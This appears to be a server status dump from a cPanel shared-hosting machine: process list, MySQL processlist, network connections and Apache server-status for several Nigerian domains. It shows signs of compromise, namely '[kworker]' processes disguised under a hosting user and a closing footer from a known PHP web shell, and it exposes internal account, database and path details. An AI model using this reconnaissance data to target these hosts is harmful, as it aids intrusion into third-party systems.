root       5022  0.0  0.0  20164   260 ?        R    00:00   0:00  |       \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_multiple.php > /dev/null 2>&1
root       4752  0.0  0.0 183048  2152 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4779  0.0  0.0  20164   804 ?        Ss   00:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_single.php > /dev/null 2>&1
root       4754  0.0  0.0 183048  2152 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4782  0.0  0.0  20164   804 ?        Ss   00:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue2.php > /dev/null 2>&1
root       4755  0.0  0.0 183048  2152 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4795  0.0  0.0  20164   804 ?        Ss   00:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/queue_status.php > /dev/null 2>&1
root       4756  0.0  0.0 183048  2152 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4784  0.0  0.0  20164   988 ?        Ss   00:00   0:00  |   \_ jailshell (cloudsms) [5017] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms   5017  0.0  0.0  20164   256 ?        S    00:00   0:00  |       \_ jailshell (cloudsms) [init] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms   5020  0.0  0.0 113284  1212 ?        S    00:00   0:00  |           \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms   5021  0.0  0.1 160260  3904 ?        R    00:00   0:00  |               \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/cloudsms/public_html/massmailer/cron.php
root       4757  0.0  0.0 183048  2152 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4773  0.0  0.0  20164   804 ?        Ss   00:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue.php > /dev/null 2>&1
root       4758  0.0  0.0 183048  2152 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4786  0.0  0.0  20164   808 ?        Ss   00:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue6.php > /dev/null 2>&1
root       4759  0.0  0.0 183048  2152 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4793  0.0  0.0  20164   808 ?        Ss   00:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
root       4760  0.0  0.0 183048  2148 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4799  0.0  0.0  20164   808 ?        Ss   00:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue4.php > /dev/null 2>&1
root       4761  0.0  0.0 183048  2152 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4790  0.0  0.0  20164   808 ?        Ss   00:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue3.php > /dev/null 2>&1
root       4763  0.0  0.0 183048  2148 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4803  0.0  0.0  20164   812 ?        Ss   00:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/schedule_hour_check.php > /dev/null 2>&1
root       4765  0.0  0.0 183048  2148 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4788  0.0  0.0 113284  1212 ?        Ss   00:00   0:00  |   \_ /bin/sh -c /usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1
root       4805  2.0  0.4 188160 10756 ?        S    00:00   0:00  |       \_ /usr/local/cpanel/bin/dcpumon
root       5009  0.0  0.0 160220  2064 ?        R    00:00   0:00  |           \_ top -n 2 -b -c
root       4766  0.0  0.0 183048  2148 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4801  0.0  0.0  20164   972 ?        Ss   00:00   0:00  |   \_ jailshell (pactpay) [4852] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay    4852  0.0  0.0  20164   260 ?        S    00:00   0:00  |       \_ jailshell (pactpay) [init] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay    4872  0.0  0.7 476724 17484 ?        S    00:00   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
root       4769  0.0  0.0 183048  2144 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4798  0.0  0.0  20164   968 ?        Ss   00:00   0:00  |   \_ jailshell (nigeria) [4850] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria    4850  0.0  0.0  20164   256 ?        S    00:00   0:00  |       \_ jailshell (nigeria) [init] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria    4855  0.0  0.6 400652 15940 ?        R    00:00   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/nigeria/public_html/crons/analyzer.php
root       4771  0.0  0.0 183048  2148 ?        S    00:00   0:00  \_ /usr/sbin/CROND -n
root       4780  0.0  0.0  20164   972 ?        Ss   00:00   0:00      \_ jailshell (saboakin) [4848] ell -c php -q -f /home/saboakin/public_html/massmailer/cron.php
saboakin   4848  0.0  0.0  20164   264 ?        S    00:00   0:00          \_ jailshell (saboakin) [init] ell -c php -q -f /home/saboakin/public_html/massmailer/cron.php
saboakin   4871  0.0  0.6 400652 15404 ?        S    00:00   0:00              \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/saboakin/public_html/massmailer/cron.php
root        577  0.0  0.0  24208     0 ?        Ss   Nov10   0:00 /usr/sbin/atd -f
root        590  0.0  0.0 108296   140 tty1     Ss+  Nov10   0:00 /sbin/agetty --noclear tty1 linux
root        592  0.0  0.0 114704   116 ttyS0    Ss+  Nov10   0:00 /bin/bash
mailnull    626  0.0  0.1  88984  3128 ?        Ss   Nov10   0:00 /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
systuser    915  0.0  0.5 114016 12900 ?        Ssl  Nov10   0:00 /usr/local/lp/opt/exporters/blackbox_exporter/blackbox_exporter --config.file /usr/local/lp/etc/exporters/blackbox.yml
systuser    916  0.0  0.0  14068    20 ?        Ssl  Nov10   0:00 /usr/local/lp/opt/exporters/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/lp/etc/exporters/my.cnf
systuser    921  0.0  0.0 112524  2080 ?        Ssl  Nov10   0:00 /usr/local/lp/opt/exporters/node_exporter/node_exporter
root        922  0.0  0.0 153404   292 ?        Ss   Nov10   0:00 pure-ftpd (SERVER)
root        923  0.0  0.0 111304   512 ?        Ss   Nov10   0:00 /usr/sbin/sshd -D
root       3936  0.0  0.0 111304  1272 ?        Ss   Nov10   0:00  \_ sshd: [accepted]
sshd       3937  0.0  0.0 115644  1180 ?        S    Nov10   0:00  |   \_ sshd: [net]
root       3938  0.0  0.0 111304  1304 ?        Ss   Nov10   0:00  \_ sshd: [accepted]
root        924  0.0  0.0  51508   356 ?        Ss   Nov10   0:00 /usr/sbin/dovecot -F -c /etc/dovecot/dovecot.conf
dovenull   1070  0.0  0.0  46772   452 ?        S    Nov10   0:00  \_ dovecot/pop3-login
dovenull   1071  0.0  0.0  46924   776 ?        S    Nov10   0:00  \_ dovecot/imap-login
dovecot    1072  0.0  0.0  10320   132 ?        S    Nov10   0:00  \_ dovecot/anvil
root       1073  0.0  0.0  10452   512 ?        S    Nov10   0:00  \_ dovecot/log
dovenull   1074  0.0  0.0  46772   768 ?        S    Nov10   0:00  \_ dovecot/pop3-login
dovenull   1075  0.0  0.0  46924   776 ?        S    Nov10   0:00  \_ dovecot/imap-login
root       1078  0.0  0.0  24396   280 ?        S    Nov10   0:00  \_ dovecot/config
dovecot    1084  0.0  0.0  13568   332 ?        S    Nov10   0:00  \_ dovecot/stats
dovecot    1152  0.0  0.0  41056   396 ?        S    Nov10   0:00  \_ dovecot/auth
root        925  0.0  0.0 572372   968 ?        Ssl  Nov10   0:00 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
root        926  0.0  0.1 445028  2664 ?        Ss   Nov10   0:00 sw-engine-fpm: master process (/etc/sw-engine/sw-engine-fpm.conf)
telegraf    927  0.1  1.3 5654048 33240 ?       SLsl Nov10   0:00 /usr/local/lp/bin/telegraf -config /usr/local/lp/etc/telegraf.toml -config-directory /usr/local/lp/etc/telegraf.d
memcach+    928  0.0  0.0 342400    44 ?        Ssl  Nov10   0:00 /usr/bin/memcached -u memcached -p 11211 -m 64 -c 1024
systuser    930  0.0  0.0 111608  2084 ?        Ssl  Nov10   0:00 /usr/local/lp/opt/exporters/php-fpm_exporter/php-fpm_exporter server
systuser    939  0.0  0.0  10132    28 ?        Ssl  Nov10   0:00 /usr/local/lp/opt/exporters/apache_exporter/apache_exporter
root        945  0.0  0.1 216400  3448 ?        Ssl  Nov10   0:00 /usr/sbin/rsyslogd -n
root        946  0.0  0.9 261028 23196 ?        Ss   Nov10   0:00 cpsrvd (SSL) - waiting for connections                   
root       4505  0.0  0.9 261028 23684 ?        S    Nov10   0:00  \_ cpaneld - serving 162.142.125.221
root       4663  0.0  0.0      0     0 ?        Z    Nov10   0:00  \_ [cpaneld - servi] <defunct>
named       954  0.1  0.5 637732 14476 ?        Ssl  Nov10   0:00 /usr/sbin/pdns_server --guardian=no --daemon=no --disable-syslog --log-timestamp=no --write-pid=no
root        965  0.0  0.0 385496   408 ?        Ss   Nov10   0:00 php-fpm: master process (/opt/cpanel/ea-php73/root/etc/php-fpm.conf)
cpanelc+    972  0.0  0.1   9568  2500 ?        Ss   Nov10   0:00 /usr/local/cpanel/3rdparty/sbin/p0f -i any -u cpanelconnecttrack -d -s /var/cpanel/userhomes/cpanelconnecttrack/p0f.socket less 400 and not dst port 80 and not dst port 443 and tcp[13] & 8==0
root        973  0.0  0.1 397344  2928 ?        Ss   Nov10   0:00 php-fpm: master process (/opt/cpanel/ea-php74/root/etc/php-fpm.conf)
healtho+   4546 11.0  2.0 439588 49864 ?        S    Nov10   0:00  \_ php-fpm: pool health_oyostate_gov_ng
nigeria    4837  0.0  0.2 397064  5312 ?        S    00:00   0:00  \_ php-fpm: pool nigeriadecide_org
root        975  0.0  0.0 392856   360 ?        Ss   Nov10   0:00 php-fpm: master process (/opt/cpanel/ea-php81/root/etc/php-fpm.conf)
root        979  0.0  0.4 436392 12008 ?        Ss   Nov10   0:00 php-fpm: master process (/opt/cpanel/ea-php56/root/etc/php-fpm.conf)
root        980  7.2 47.7 1689380 1155988 ?     Ssl  Nov10   0:13 /usr/local/cpanel/3rdparty/bin/clamd -F
root        991  0.0  0.0 386112   368 ?        Ss   Nov10   0:00 php-fpm: master process (/opt/cpanel/ea-php70/root/etc/php-fpm.conf)
systuser   1112  0.0  0.0 157704  2124 ?        S    Nov10   0:00 SonarPush 0.6.12 [sleeping]
root       1127  0.7  0.0  25760   568 ?        Ss   Nov10   0:01 spamd-dormant: waiting for connections [5,6] --allowed-ips=127.0.0.1,::1 --max-children=5 --pidfile=/var/run/spamd.pid --listen=5,6
wp-tool+   1157  0.0  0.5 387528 12152 ?        Ss   Nov10   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script scheduled-tasks-executor.php
wp-tool+   1159  0.1  1.3 410452 33332 ?        Ss   Nov10   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script background-tasks-executor.php
root       1210  0.1  0.3 208832  8900 ?        Ss   Nov10   0:00 tailwatchd
root       1211  0.0  0.0 183900   180 ?        Ss   Nov10   0:00 cpdavd - accepting connections on: 2091, 2077, 2078 (dormant)
root       1213  0.0  0.0 167452  1028 ?        Ss   Nov10   0:00 dnsadmin - dormant mode
root       1667  0.0  0.0 299272   348 ?        Ss   Nov10   0:00 php-fpm: master process (/usr/local/cpanel/etc/php-fpm.conf)
root       1700  0.0  0.0 130416   856 ?        SN   Nov10   0:00 cpanellogd - sleeping for logs
mysql      1757  1.4  7.2 1457532 174824 ?      Sl   Nov10   0:02 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
root       1945  0.0  1.0 267016 26220 ?        Ss   Nov10   0:00 /usr/sbin/httpd -k start
root       1949  0.0  0.0  12784   356 ?        S    Nov10   0:00  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --suffix=-bytes_log
root       1950  0.0  0.0  12732   368 ?        S    Nov10   0:00  \_ /usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
root       1951  0.0  0.0  12804   348 ?        S    Nov10   0:00  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --mainout=/etc/apache2/logs/access_log
root       1975  0.0  0.3  53252  9468 ?        S    Nov10   0:00  \_ /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/bin/leechprotect
nobody     1976  0.0  1.4 277868 35236 ?        S    Nov10   0:00  \_ /usr/sbin/httpd -k start
cloudw     4990  0.0  0.6 350316 16628 ?        R    00:00   0:00  |   \_ /opt/cpanel/ea-php72/root/usr/bin/php-cgi
nobody     1977  0.0  1.4 277840 35012 ?        S    Nov10   0:00  \_ /usr/sbin/httpd -k start
nobody     1978  0.0  1.4 277844 35196 ?        S    Nov10   0:00  \_ /usr/sbin/httpd -k start
nobody     1979  0.0  1.4 277520 35224 ?        S    Nov10   0:00  \_ /usr/sbin/httpd -k start
nobody     1980  0.1  1.3 277540 33816 ?        S    Nov10   0:00  \_ /usr/sbin/httpd -k start
nobody     2174  0.0  1.4 277920 34940 ?        S    Nov10   0:00  \_ /usr/sbin/httpd -k start
nobody     3813  0.1  1.4 277936 34716 ?        S    Nov10   0:00  \_ /usr/sbin/httpd -k start
nobody     3986  0.1  1.4 277800 35212 ?        S    Nov10   0:00  \_ /usr/sbin/httpd -k start
nobody     3993  0.0  1.4 277948 35276 ?        S    Nov10   0:00  \_ /usr/sbin/httpd -k start
nobody     3994  0.2  1.4 277800 35240 ?        S    Nov10   0:00  \_ /usr/sbin/httpd -k start
nobody     4490  0.1  1.4 277932 35304 ?        S    Nov10   0:00  \_ /usr/sbin/httpd -k start
nobody     4524  0.1  1.4 277800 34868 ?        S    Nov10   0:00  \_ /usr/sbin/httpd -k start
root       2476  0.0  0.4 1276100 10092 ?       Ssl  Nov10   0:00 /usr/bin/cspdaemon
root       2510  0.0  0.6 1277312 14988 ?       Ssl  Nov10   0:00 /usr/bin/checkstatus
root       2638  0.0  0.6 215812 15040 ?        S    Nov10   0:00 /usr/bin/python3 -m kcarectl.__main__ --smart-update
root       4330  0.5  1.1 180796 28996 ?        Ss   Nov10   0:00 lfd - sleeping
oysipao+   4853  0.0  0.0   3148   412 ?        Ss   00:00   0:00 [kworker]
oysipao+   4873  0.0  0.0   3152   628 ?        S    00:00   0:00  \_ [kworker]
## mysql stats
Uptime: 186  Threads: 5  Questions: 4462  Slow queries: 0  Opens: 415  Flush tables: 1  Open tables: 408  Queries per second avg: 23.989
*************************** 1. row ***************************
     Id: 130
   User: nigeria_decide
   Host: localhost
     db: nigeria_decide
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 2. row ***************************
     Id: 131
   User: saboakin_saboaki
   Host: localhost
     db: saboakin_sabo
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 3. row ***************************
     Id: 133
   User: pactpay_testing1
   Host: localhost
     db: pactpay_real
Command: Query
   Time: 0
  State: Sending data
   Info: SELECT `id` FROM `currency_rate` WHERE `day`='2025-11-10' LIMIT 1
*************************** 4. row ***************************
     Id: 140
   User: root
   Host: localhost
     db: NULL
Command: Query
   Time: 0
  State: starting
   Info: show processlist
## network stats
      1 110.249.201.113 TIME_WAIT
      1 114.119.134.212 TIME_WAIT
      1 138.226.30.221 TIME_WAIT
      1 142.147.167.55 TIME_WAIT
      1 173.199.190.172 TIME_WAIT
      1 195.40.30.235 TIME_WAIT
      1 ::1 TIME_WAIT
      1 37.139.53.80 TIME_WAIT
      1 3.83.76.234 TIME_WAIT
      1 43.130.91.95 TIME_WAIT
      1 47.128.123.53 TIME_WAIT
      1 51.222.168.55 TIME_WAIT
      1 51.222.204.143 TIME_WAIT
      1 66.249.70.193 TIME_WAIT
      2 10.30.9.122 TIME_WAIT
      2 10.30.9.138 TIME_WAIT
      2 127.0.0.1 TIME_WAIT
## httpd stats
                                                                                                                                                                                  Apache Server Status for localhost (via ::1)

   Server Version: Apache/2.4.65 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
   Server MPM: prefork
   Server Built: Oct 28 2025 23:52:55
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   Current Time: Tuesday, 11-Nov-2025 00:00:02 WAT
   Restart Time: Monday, 10-Nov-2025 23:57:01 WAT
   Parent Server Config. Generation: 1
   Parent Server MPM Generation: 0
   Server uptime: 3 minutes 1 second
   Server load: 1.06 1.12 0.50
   Total accesses: 247 - Total Traffic: 4.3 MB - Total Duration: 126950
   CPU Usage: u.88 s.41 cu2.27 cs1.7 - 2.91% CPU load
   1.36 requests/sec - 24.3 kB/second - 17.8 kB/request - 513.968 ms/request
   10 requests currently being processed, 0 workers gracefully restarting, 2 idle workers

KW__KWWKKKKK....................................................
................................................................
................................................................
................................................................

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

   Srv  PID    Acc    M CPU  SS Req  Dur  Conn  Child Slot    Client     Protocol           VHost                                        Request
   0-0  1976 1/34/34  K 0.88 0  414 23211 34.8  0.57  0.57 66.249.70.35  http/1.1 support.cloudware.ng:443   GET /?c=1941020664 HTTP/1.1
   1-0  1977 5/32/32  W 1.05 0  0   15835 158.6 0.47  0.47 66.249.70.33  http/1.1 support.cloudware.ng:443   GET /?c=677512635 HTTP/1.1
   2-0  1978 0/31/31  _ 0.59 0  343 15197 0.0   0.38  0.38 66.249.70.37  http/1.1 support.cloudware.ng:443   GET /?c=778607214 HTTP/1.1
   3-0  1979 0/29/29  _ 0.41 0  0   7545  0.0   0.41  0.41 ::1           http/1.1 chs1.nescrow.com.ng:80     GET //whm-server-status HTTP/1.0
   4-0  1980 24/48/48 K 1.03 0  285 25457 745.4 0.98  0.98 66.249.70.39  http/1.1 support.cloudware.ng:443   GET /?c=84583951 HTTP/1.1
   5-0  2174 0/29/29  W 0.26 0  0   16214 0.0   0.36  0.36 ::1           http/1.1 chs1.nescrow.com.ng:80     GET //whm-server-status HTTP/1.0
   6-0  3813 0/12/12  W 0.31 0  0   6725  0.0   0.29  0.29 213.160.71.26 http/1.1 health.oyostate.gov.ng:443 POST /xmlrpc.php HTTP/1.1
   7-0  3986 2/8/8    K 0.18 1  269 4035  63.5  0.22  0.22 66.249.70.36  http/1.1 support.cloudware.ng:443   GET /?c=584595391 HTTP/1.1
   8-0  3993 1/7/7    K 0.07 3  767 3008  22.3  0.12  0.12 85.254.125.30 http/1.1 health.oyostate.gov.ng:443 GET /portfolio/oyo-pensioners-commend-governor-makinde-as-they-
   9-0  3994 2/11/11  K 0.30 2  254 6037  64.8  0.31  0.31 66.249.70.32  http/1.1 support.cloudware.ng:443   GET /?c=400637020 HTTP/1.1
   10-0 4490 1/4/4    K 0.06 1  304 2178  36.4  0.11  0.11 66.249.70.38  http/1.1 support.cloudware.ng:443   GET /?c=1320663940 HTTP/1.1
   11-0 4524 2/2/2    K 0.03 3  356 1503  66.2  0.06  0.06 66.249.70.34  http/1.1 support.cloudware.ng:443   GET /?c=3127973713 HTTP/1.1
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    Srv  Child Server number - generation
    PID  OS process ID
    Acc  Number of accesses this connection / this child / this slot
     M   Mode of operation
    CPU  CPU usage, number of seconds
    SS   Seconds since beginning of most recent request
    Req  Milliseconds required to process most recent request
    Dur  Sum of milliseconds required to process all requests
   Conn  Kilobytes transferred this connection
   Child Megabytes transferred this child
   Slot  Total megabytes transferred this slot
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   SSL/TLS Session Cache Status:
   cache type: SHMCB, shared memory: 1024000 bytes, current entries: 220
   subcaches: 32, indexes per subcache: 177
   time left on oldest entries' objects: avg: 153 seconds, (range: 119...288)
   index usage: 3%, cache usage: 5%
   total entries stored since starting: 220
   total entries replaced since starting: 0
   total entries expired since starting: 0
   total (pre-expiry) entries scrolled out of the cache: 0
   total retrieves since starting: 0 hit, 0 miss
   total removes since starting: 0 hit, 0 miss
Youez - 2016 - github.com/yon3zu
LinuXploit